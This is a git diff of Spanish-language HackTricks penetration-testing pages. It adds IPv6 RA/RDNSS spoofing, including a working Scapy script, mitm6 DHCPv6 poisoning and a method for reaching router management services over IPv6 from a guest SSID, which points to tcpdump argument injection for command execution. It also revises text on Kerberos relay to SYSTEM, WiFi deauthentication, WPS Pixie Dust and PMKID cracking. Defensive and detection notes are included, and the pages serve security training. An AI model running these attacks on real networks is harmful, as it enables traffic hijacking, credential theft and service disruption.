+| **M=0 / O=0** | Red pura SLAAC. | Solo son posibles trucos RA / RDNSS – DHCPv6 no será enviado por los clientes. |
+| **M=1 / O=1** | Entorno mixto. | Se utilizan tanto DHCPv6 como SLAAC; la superficie para el spoofing es la más grande. |
+
+Durante un pentest, puedes simplemente inspeccionar el RA legítimo una vez y decidir qué vector es factible:
+```bash
+sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
+```
+Busca el campo `flags [M,O]` en el volcado – no se requiere adivinar.
+
+El campo **Prf** (Preferencia del Router) dentro del encabezado RA controla cuán atractivo se ve tu router falso cuando hay *múltiples* puertas de enlace presentes:
+
+| Valor de Prf | Binario | Significado |
+|--------------|---------|-------------|
+| **Alto** | `10` | Los clientes prefieren este router sobre cualquier router *Medio*/*Bajo* |
+| Medio (predeterminado) | `01` | Usado por casi todos los dispositivos legítimos |
+| Bajo | `00` | Elegido solo cuando no existe un mejor router |
+
+Al generar el paquete con Scapy, puedes configurarlo a través del parámetro `prf` como se muestra arriba (`prf=0x1` → Alto). Combinar **Alto Prf**, un **intervalo corto** y una **vida útil no cero** hace que tu puerta de enlace falsa sea notablemente estable.
+
+---
+
+### Suplantación de RDNSS (DNS) a través de RA
+
+[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) permite agregar una opción de **Servidor DNS Recursivo (RDNSS)** dentro de un RA. Los sistemas operativos modernos (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) confían automáticamente en ello:
+```python
+#!/usr/bin/env python3
+from scapy.all import *
+import argparse
+
+p = argparse.ArgumentParser()
+P = p.add_argument
+P('-i','--interface',required=True)
+P('--llip',required=True)
+P('--dns',required=True,help='Fake DNS IPv6')
+P('--lifetime',type=int,default=600)
+P('--interval',type=int,default=5)
+args = p.parse_args()
+
+ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
+ICMPv6ND_RA(routerlifetime=0)/
+ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
+
+send(ra,iface=args.interface,loop=1,inter=args.interval)
+```
+Los clientes **antepondrán** su DNS a su lista de resolutores durante el tiempo de vida dado, otorgando un secuestro completo de DNS hasta que el valor expire o envíes un `lifetime=0` para revertir.
+
+### Suplantación de DNS DHCPv6 (mitm6)
+
+En lugar de SLAAC, las redes de Windows a menudo dependen de **DHCPv6 sin estado** para DNS. [mitm6](https://github.com/rofl0r/mitm6) responde automáticamente a los mensajes `Solicit` con un flujo de **Advertise → Reply** que asigna **tu dirección local de enlace como DNS durante 300 segundos**. Esto desbloquea:
+
+* Ataques de retransmisión NTLM (WPAD + secuestro de DNS)
+* Interceptar la resolución de nombres internos sin tocar los enrutadores
+
+Uso típico:
+```bash
+sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
+```
+### Defensas
+
+* **RA Guard / DHCPv6 Guard / ND Inspection** en switches gestionados.
+* ACLs de puerto que permiten solo que la MAC del enrutador legítimo envíe RAs.
+* Monitorear por **RAs de alta tasa no sólidas** o cambios súbitos en **RDNSS**.
+* Deshabilitar IPv6 en los puntos finales es una solución temporal que a menudo rompe servicios modernos y oculta puntos ciegos; preferir el filtrado L2 en su lugar.
+
+### Descubrimiento de Router NDP en SSIDs de Invitados/Públicos y Exposición de Servicios de Gestión
+
+Muchos enrutadores de consumo exponen demonios de gestión (HTTP(S), SSH/Telnet, TR-069, etc.) en todas las interfaces. En algunas implementaciones, el SSID "invitado/público" está puenteado al WAN/núcleo y es solo IPv6. Incluso si el IPv6 del enrutador cambia en cada arranque, puedes aprenderlo de manera confiable usando NDP/ICMPv6 y luego conectarte directamente al plano de gestión desde el SSID de invitados.
+
+Flujo de trabajo típico desde un cliente conectado al SSID de invitados/públicos:
+
+1) Descubrir el enrutador a través de ICMPv6 Router Solicitation al multicast de Todos los Enrutadores `ff02::2` y capturar el Router Advertisement (RA):
+```bash
+# Listen for Router Advertisements (ICMPv6 type 134)
+sudo tcpdump -vvv -i 'icmp6 and ip6[40]==134'
+
+# Provoke an RA by sending a Router Solicitation to ff02::2
+python3 - <<'PY'
+from scapy.all import *
+send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='')
+PY
+```
+El RA revela la dirección/prefijo local de enlace del enrutador y a menudo una dirección/prefijo global. Si solo se conoce una dirección local de enlace, recuerda que las conexiones deben especificar el índice de zona, por ejemplo, `ssh -6 admin@[fe80::1%wlan0]`.
+
+Alternativa: usa la suite ndisc6 si está disponible:
+```bash
+# rdisc6 sends RS and prints RAs in a friendly way
+rdisc6
+```
+2) Acceder a servicios expuestos a través de IPv6 desde la SSID de invitados:
+```bash
+# SSH/Telnet example (replace with discovered address)
+ssh -6 admin@[2001:db8:abcd::1]
+# Web UI over IPv6
+curl -g -6 -k 'http://[2001:db8:abcd::1]/'
+# Fast IPv6 service sweep
+nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
+```
+3) Si la shell de gestión proporciona herramientas de captura de paquetes a través de un wrapper (por ejemplo, tcpdump), verifica la inyección de argumentos/nombres de archivo que permita pasar banderas adicionales de tcpdump como `-G/-W/-z` para lograr la ejecución de comandos post-rotate. Ver:
+
+{{#ref}}
+../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md
+{{#endref}}
+
+Defensas/notas:
+
+- No vincules la gestión a puentes de invitados/públicos; aplica cortafuegos IPv6 en puentes SSID.
+- Limita la tasa y filtra NDP/RS/RA en segmentos de invitados donde sea posible.
+- Para servicios que deben ser accesibles, aplica authN/MFA y límites de tasa fuertes.
## Referencias
+- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
+- [mitm6](https://github.com/rofl0r/mitm6)
+- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
+- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
+- [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
index ad030c7bb..9109e344c 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@@ -7,7 +7,7 @@
### Protocolos de Resolución de Host Local
- **LLMNR, NBT-NS y mDNS**:
-- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres locales cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
+- Microsoft y otros sistemas operativos utilizan LLMNR y NBT-NS para la resolución de nombres local cuando DNS falla. De manera similar, los sistemas de Apple y Linux utilizan mDNS.
- Estos protocolos son susceptibles a la interceptación y el spoofing debido a su naturaleza no autenticada y de difusión sobre UDP.
- [Responder](https://github.com/lgandx/Responder) se puede utilizar para suplantar servicios enviando respuestas falsificadas a hosts que consultan estos protocolos.
- Más información sobre la suplantación de servicios utilizando Responder se puede encontrar [aquí](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
@@ -15,7 +15,7 @@
### Protocolo de Descubrimiento Automático de Proxy Web (WPAD)
- WPAD permite a los navegadores descubrir automáticamente la configuración del proxy.
-- El descubrimiento se facilita a través de DHCP, DNS o retroceso a LLMNR y NBT-NS si DNS falla.
+- El descubrimiento se facilita a través de DHCP, DNS, o retrocediendo a LLMNR y NBT-NS si DNS falla.
- Responder puede automatizar ataques WPAD, dirigiendo a los clientes a servidores WPAD maliciosos.
### Responder para el Envenenamiento de Protocolos
@@ -64,7 +64,7 @@ Inveigh.exe
Este ataque aprovecha las sesiones de autenticación SMB para acceder a una máquina objetivo, otorgando un shell del sistema si tiene éxito. Los requisitos clave incluyen:
-- El usuario que se autentica debe tener acceso de administrador local en el host retransmitido.
+- El usuario que se autentica debe tener acceso de Administrador Local en el host retransmitido.
- La firma SMB debe estar deshabilitada.
#### 445 Port Forwarding and Tunneling
@@ -89,7 +89,7 @@ beacon> socks stop
```
### Otras Herramientas para el Ataque de Relevo NTLM
-- **Metasploit**: Configurado con proxies, detalles de hosts locales y remotos.
+- **Metasploit**: Configurado con proxies, detalles de host locales y remotos.
- **smbrelayx**: Un script de Python para relajar sesiones SMB y ejecutar comandos o desplegar puertas traseras.
- **MultiRelay**: Una herramienta del conjunto Responder para relajar usuarios específicos o todos los usuarios, ejecutar comandos o volcar hashes.
@@ -129,22 +129,22 @@ Para información detallada sobre este ataque, consulta:
- 1. **Conceptos básicos de Kerberos**
| Token | Propósito | Relevancia del relay |
-|-------|-----------|----------------------|
+|-------|-----------|---------------------|
| **TGT / AS-REQ ↔ REP** | Prueba al usuario ante el KDC | intocable |
| **Ticket de servicio / TGS-REQ ↔ REP** | Vinculado a un **SPN**; encriptado con la clave del propietario del SPN | intercambiable si los SPNs comparten cuenta |
| **AP-REQ** | El cliente envía `TGS` al servicio | **lo que robamos y reproducimos** |
* Los tickets están encriptados con la **clave derivada de la contraseña de la cuenta que posee el SPN**.
* El **Autenticador** dentro del AP-REQ tiene una marca de tiempo de 5 minutos; la reproducción dentro de esa ventana es válida hasta que la caché del servicio vea un duplicado.
-* Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que golpeas, por lo que un ticket para `CIFS/HOST` normalmente se desencripta bien en `LDAP/HOST`.
+* Windows rara vez verifica si la cadena SPN en el ticket coincide con el servicio que tocas, por lo que un ticket para `CIFS/HOST` normalmente se desencripta bien en `LDAP/HOST`.
- 2. **Lo que debe ser cierto para relayar Kerberos**
1. **Clave compartida:** los SPNs de origen y destino pertenecen a la misma cuenta de computadora (predeterminado en servidores Windows).
2. **Sin protección de canal:** SMB/LDAP sin firma y EPA desactivado para HTTP/LDAPS.
-3. **Puedes interceptar o coaccionar la autenticación:** envenenamiento de LLMNR/NBNS, suplantación de DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
+3. **Puedes interceptar o coaccionar la autenticación:** veneno LLMNR/NBNS, suplantación DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
4. **Fuente del ticket no utilizada previamente:** ganas la carrera antes de que el paquete real llegue o lo bloqueas por completo; de lo contrario, la caché de reproducción del servidor activa el Evento 4649.
-5. Necesitas poder realizar un **MitM en la comunicación**, tal vez siendo parte del grupo DNSAdmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima.
+5. Necesitas poder realizar un **MitM en la comunicación**, tal vez siendo parte del grupo DNSAmins para modificar el DNS del dominio o poder cambiar el archivo HOST de la víctima.
### Pasos de Kerberos Relay
@@ -164,12 +164,12 @@ Select Name,servicePrincipalName
```
`KrbRelayUp` envuelve **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** en un solo binario.
-- 3.3 **Forzar autenticación Kerberos**
+- 3.3 **Forzar la autenticación de Kerberos**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
-DFSCoerce hace que el DC nos envíe un ticket Kerberos `CIFS/DC01`.
+DFSCoerce hace que el DC nos envíe un ticket de Kerberos `CIFS/DC01`.
- 3.4 **Reenviar el AP-REQ**
@@ -185,6 +185,7 @@ SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.
+
### **Más rutas que vale la pena conocer**
| Vector | Truco | Por qué es importante |
@@ -192,7 +193,7 @@ You now own **NT AUTHORITY\SYSTEM**.
| **AuthIP / IPSec** | Servidor falso envía un **payload GSS-ID** con cualquier SPN; el cliente construye un AP-REQ directamente hacia ti | Funciona incluso a través de subredes; credenciales de máquina por defecto |
| **DCOM / MSRPC** | Resolutor OXID malicioso obliga al cliente a autenticarse a un SPN y puerto arbitrarios | Escalación de privilegios *local* pura; elude el firewall |
| **AD CS Web Enroll** | Reenvía el ticket de máquina a `HTTP/CA` y obtén un certificado, luego **PKINIT** para acuñar TGTs | Elude las defensas de firma LDAP |
-| **Shadow Credentials** | Escribe `msDS-KeyCredentialLink`, luego PKINIT con un par de claves falsificado | No es necesario agregar una cuenta de computadora |
+| **Credenciales en sombra** | Escribe `msDS-KeyCredentialLink`, luego PKINIT con un par de claves falsificado | No es necesario agregar una cuenta de computadora |
### **Solución de problemas**
@@ -203,10 +204,11 @@ You now own **NT AUTHORITY\SYSTEM**.
| Fallo de enlace LDAP | Firma aplicada | Usa la ruta de AD CS o desactiva la firma |
| Spam de Evento 4649 | El servicio vio un Autenticador duplicado | bloquea o compite con el paquete original |
+
### **Detección**
* Aumento en **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` desde la misma fuente en segundos.
-* **Evento 4649** en el servicio indica que se detectó un replay.
+* **Evento 4649** en el servicio indica que se detectó una repetición.
* Inicio de sesión Kerberos desde **127.0.0.1** (reenvío a SCM local) es altamente sospechoso—mapea a través de la regla Sigma en la documentación de KrbRelayUp.
* Observa cambios en los atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
@@ -216,7 +218,9 @@ You now own **NT AUTHORITY\SYSTEM**.
2. **Divide los SPNs** para que HTTP no esté en la misma cuenta que CIFS/LDAP.
3. Parchea vectores de coerción (PetitPotam KB5005413, DFS, AuthIP).
4. Establece **`ms-DS-MachineAccountQuota = 0`** para detener uniones de computadoras no autorizadas.
-5. Alerta sobre **Evento 4649** e inicios de sesión Kerberos de loopback inesperados.
+5. Alerta sobre **Evento 4649** y inicios de sesión Kerberos de bucle inesperados.
+
+
## Referencias
diff --git a/src/generic-methodologies-and-resources/pentesting-wifi/README.md b/src/generic-methodologies-and-resources/pentesting-wifi/README.md
index 0950c6629..9af7a3046 100644
--- a/src/generic-methodologies-and-resources/pentesting-wifi/README.md
+++ b/src/generic-methodologies-and-resources/pentesting-wifi/README.md
@@ -21,6 +21,7 @@ iwlist wlan0 scan #Scan available wifis
### Hijacker & NexMon (Wi-Fi interno de Android)
+
{{#ref}}
enable-nexmon-monitor-and-injection-on-android.md
{{#endref}}
@@ -59,16 +60,16 @@ sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
-Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará lo siguiente:
+Esta herramienta automatiza ataques de **WPS/WEP/WPA-PSK**. Automáticamente:
-- Configurar la interfaz en modo monitor
-- Escanear redes posibles - Y permitirte seleccionar la(s) víctima(s)
-- Si es WEP - Lanzar ataques WEP
+- Configura la interfaz en modo monitor
+- Escanea redes posibles - Y te permite seleccionar la(s) víctima(s)
+- Si es WEP - Lanza ataques WEP
- Si es WPA-PSK
- Si es WPS: ataque de Pixie dust y el ataque de fuerza bruta (ten cuidado, el ataque de fuerza bruta podría tardar mucho tiempo). Ten en cuenta que no intenta PIN nulos o PINs generados/base de datos.
-- Intentar capturar el PMKID del AP para crackearlo
-- Intentar desautenticar a los clientes del AP para capturar un handshake
-- Si PMKID o Handshake, intentar hacer fuerza bruta usando las 5000 contraseñas más comunes.
+- Intenta capturar el PMKID del AP para crackearlo
+- Intenta desautenticar a los clientes del AP para capturar un handshake
+- Si PMKID o Handshake, intenta hacer fuerza bruta usando las 5000 contraseñas más comunes.
## Resumen de Ataques
@@ -77,7 +78,7 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará
- APs falsos aleatorios -- Ocultar redes, posible colapso de escáneres
- Sobrecargar AP -- Intentar matar el AP (generalmente no muy útil)
- WIDS -- Jugar con el IDS
-- TKIP, EAPOL -- Algunos ataques específicos para DoS en algunos APs
+- TKIP, EAPOL -- Algunos ataques específicos para DoS a ciertos APs
- **Cracking**
- Crackear **WEP** (varias herramientas y métodos)
- **WPA-PSK**
@@ -88,11 +89,11 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará
- **Captura de Nombre de Usuario**
- **Fuerza Bruta** Credenciales
- **Evil Twin** (con o sin DoS)
-- **Open** Evil Twin \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
-- **WPA-PSK** Evil Twin -- Útil para ataques de red si conoces la contraseña
+- **Evil Twin** Abierto \[+ DoS] -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
+- **Evil Twin** **WPA-PSK** -- Útil para ataques de red si conoces la contraseña
- **WPA-MGT** -- Útil para capturar credenciales de la empresa
- **KARMA, MANA**, **Loud MANA**, **Beacon conocido**
-- **+ Open** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
+- **+ Abierto** -- Útil para capturar credenciales de portal cautivo y/o realizar ataques LAN
- **+ WPA** -- Útil para capturar handshakes WPA
## DOS
@@ -101,7 +102,7 @@ Esta herramienta automatiza ataques **WPS/WEP/WPA-PSK**. Automáticamente hará
**Descripción de** [**aquí**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
-Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, permitiendo a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.
+Los ataques de **desautenticación**, un método prevalente en el hacking de Wi-Fi, implican la falsificación de tramas de "gestión" para **desconectar forzosamente dispositivos de una red**. Estos paquetes no cifrados engañan a los clientes haciéndoles creer que provienen de la red legítima, lo que permite a los atacantes recopilar handshakes WPA con fines de cracking o interrumpir persistentemente las conexiones de red. Esta táctica, alarmante en su simplicidad, es ampliamente utilizada y tiene implicaciones significativas para la seguridad de la red.
**Desautenticación usando Aireplay-ng**
```
@@ -156,7 +157,7 @@ El sondeo de Puntos de Acceso (APs) verifica si un SSID está correctamente reve
**MODO DE ATAQUE m: Explotación de Contramedidas de Michael**
-Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP de un minuto. Este método es una táctica eficiente de ataque **DoS** (Denegación de Servicio).
+Enviar paquetes aleatorios o duplicados a diferentes colas de QoS puede activar las Contramedidas de Michael en **APs TKIP**, lo que lleva a un apagado del AP durante un minuto. Este método es una táctica eficiente de ataque **DoS** (Denegación de Servicio).
```bash
# -t of a TKIP AP
# -j use inteligent replay to create the DoS
@@ -219,12 +220,12 @@ Este enfoque refinado apunta a los PINs de WPS utilizando vulnerabilidades conoc
**Dominique Bongard** descubrió un fallo en algunos Puntos de Acceso (APs) relacionado con la creación de códigos secretos, conocidos como **nonces** (**E-S1** y **E-S2**). Si estos nonces pueden ser descubiertos, romper el PIN de WPS del AP se vuelve fácil. El AP revela el PIN dentro de un código especial (hash) para demostrar que es legítimo y no un AP falso (rogue). Estos nonces son esencialmente las "llaves" para desbloquear la "caja fuerte" que contiene el PIN de WPS. Más sobre esto se puede encontrar [aquí]().
-En términos simples, el problema es que algunos APs no utilizaron llaves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).
+En términos simples, el problema es que algunos APs no utilizaron claves lo suficientemente aleatorias para encriptar el PIN durante el proceso de conexión. Esto hace que el PIN sea vulnerable a ser adivinado desde fuera de la red (ataque de fuerza bruta offline).
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
-Si no deseas cambiar el dispositivo a modo monitor, o si `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor.
+Si no quieres cambiar el dispositivo a modo monitor, o si `reaver` y `bully` tienen algún problema, puedes probar [OneShot-C](https://github.com/nikita-yfh/OneShot-C). Esta herramienta puede realizar un ataque Pixie Dust sin tener que cambiar a modo monitor.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
@@ -283,15 +284,15 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Los **PMKIDs capturados** se mostrarán en la **consola** y también se **guardarán** dentro de \_ **/tmp/attack.pcap**\_\
-Ahora, convierte la captura al formato de **hashcat/john** y crackéalo:
+Ahora, convierte la captura al formato de **hashcat/john** y descífralo:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
-Por favor, tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838`. Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida).
+Por favor, tenga en cuenta que el formato de un hash correcto contiene **4 partes**, como: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` Si el suyo **solo** contiene **3 partes**, entonces, es **inválido** (la captura de PMKID no fue válida).
-Tenga en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`.
+Tenga en cuenta que `hcxdumptool` **también captura handshakes** (algo como esto aparecerá: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). Podría **transformar** los **handshakes** al formato de **hashcat**/**john** usando `cap2hccapx`
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@@ -299,7 +300,7 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
-_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
+_He notado que algunos handshakes capturados con esta herramienta no pudieron ser descifrados incluso sabiendo la contraseña correcta. Recomendaría capturar handshakes también de la manera tradicional si es posible, o capturar varios de ellos usando esta herramienta._
### Captura de handshakes
@@ -310,7 +311,7 @@ Un ataque a redes **WPA/WPA2** se puede ejecutar capturando un **handshake** e i
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
-3. Para aumentar la probabilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente:
+3. Para aumentar la posibilidad de capturar un handshake, desconecte momentáneamente al cliente de la red para forzar una re-autenticación. Esto se puede hacer utilizando el comando `aireplay-ng`, que envía paquetes de desautenticación al cliente:
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
```
@@ -338,7 +339,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
-_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completo, no detectará el válido._
+_Si esta herramienta encuentra un apretón de manos incompleto de un ESSID antes del completado, no detectará el válido._
**pyrit**
```bash
@@ -358,9 +359,9 @@ En **configuraciones de WiFi empresarial, encontrarás varios métodos de autent
3. **EAP-TLS (Transport Layer Security)**:
- Utiliza certificados tanto del lado del cliente como del servidor para la autenticación y puede generar dinámicamente claves WEP basadas en el usuario y la sesión para asegurar las comunicaciones.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
-- Proporciona autenticación mutua a través de un túnel encriptado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
+- Proporciona autenticación mutua a través de un túnel cifrado, junto con un método para derivar claves WEP dinámicas, por usuario y por sesión. Solo requiere certificados del lado del servidor, con los clientes utilizando credenciales.
5. **PEAP (Protected Extensible Authentication Protocol)**:
-- Funciona de manera similar a EAP al crear un túnel TLS para comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
+- Funciona de manera similar a EAP al crear un túnel TLS para la comunicación protegida. Permite el uso de protocolos de autenticación más débiles sobre EAP debido a la protección ofrecida por el túnel.
- **PEAP-MSCHAPv2**: A menudo se refiere a PEAP, combina el mecanismo de desafío/respuesta vulnerable de MSCHAPv2 con un túnel TLS protector.
- **PEAP-EAP-TLS (o PEAP-TLS)**: Similar a EAP-TLS pero inicia un túnel TLS antes de intercambiar certificados, ofreciendo una capa adicional de seguridad.
@@ -370,7 +371,7 @@ Puedes encontrar más información sobre estos métodos de autenticación [aquí
Leyendo [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) parece que si estás usando **EAP**, los **mensajes de "Identidad"** deben ser **soportados**, y el **nombre de usuario** se enviará en **claro** en los **mensajes de "Respuesta de Identidad"**.
-Incluso utilizando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
+Incluso usando uno de los métodos de autenticación más seguros: **PEAP-EAP-TLS**, es posible **capturar el nombre de usuario enviado en el protocolo EAP**. Para hacerlo, **captura una comunicación de autenticación** (inicia `airodump-ng` dentro de un canal y `wireshark` en la misma interfaz) y filtra los paquetes por `eapol`.\
Dentro del paquete "**Respuesta, Identidad**", aparecerá el **nombre de usuario** del cliente.
.png>)
@@ -385,11 +386,11 @@ El ocultamiento de identidad es soportado tanto por EAP-PEAP como por EAP-TTLS.
- En esta situación, los usuarios de diferentes dominios ocultan sus identidades mientras indican sus respectivos dominios. Esto permite que el servidor RADIUS inicial actúe como proxy para las solicitudes EAP-PEAP o EAP-TTLS a los servidores RADIUS en sus dominios de origen, que actúan como el servidor PEAP o TTLS. El servidor RADIUS inicial opera únicamente como un nodo de retransmisión RADIUS.
- Alternativamente, el servidor RADIUS inicial puede funcionar como el servidor EAP-PEAP o EAP-TTLS y manejar el método de autenticación protegido o reenviarlo a otro servidor. Esta opción facilita la configuración de políticas distintas para varios dominios.
-En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel encriptado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11.
+En EAP-PEAP, una vez que se establece el túnel TLS entre el servidor PEAP y el cliente PEAP, el servidor PEAP inicia una solicitud de EAP-Identidad y la transmite a través del túnel TLS. El cliente responde a esta segunda solicitud de EAP-Identidad enviando una respuesta de EAP-Identidad que contiene la verdadera identidad del usuario a través del túnel cifrado. Este enfoque previene efectivamente la revelación de la verdadera identidad del usuario a cualquier persona que esté escuchando el tráfico 802.11.
EAP-TTLS sigue un procedimiento ligeramente diferente. Con EAP-TTLS, el cliente típicamente se autentica usando PAP o CHAP, asegurado por el túnel TLS. En este caso, el cliente incluye un atributo User-Name y ya sea un atributo Password o CHAP-Password en el mensaje TLS inicial enviado después del establecimiento del túnel.
-Independientemente del protocolo elegido, el servidor PEAP/TTLS obtiene conocimiento de la verdadera identidad del usuario después de que se ha establecido el túnel TLS. La verdadera identidad puede representarse como user@realm o simplemente user. Si el servidor PEAP/TTLS también es responsable de autenticar al usuario, ahora posee la identidad del usuario y procede con el método de autenticación protegido por el túnel TLS. Alternativamente, el servidor PEAP/TTLS puede reenviar una nueva solicitud RADIUS al servidor RADIUS del hogar del usuario. Esta nueva solicitud RADIUS omite la capa del protocolo PEAP o TTLS. En los casos en que el método de autenticación protegido sea EAP, los mensajes EAP internos se transmiten al servidor RADIUS del hogar sin el envoltorio EAP-PEAP o EAP-TTLS. El atributo User-Name del mensaje RADIUS saliente contiene la verdadera identidad del usuario, reemplazando el User-Name anónimo de la solicitud RADIUS entrante. Cuando el método de autenticación protegido es PAP o CHAP (soportado solo por TTLS), el User-Name y otros atributos de autenticación extraídos de la carga útil TLS se sustituyen en el mensaje RADIUS saliente, desplazando el User-Name anónimo y los atributos TTLS EAP-Message encontrados en la solicitud RADIUS entrante.
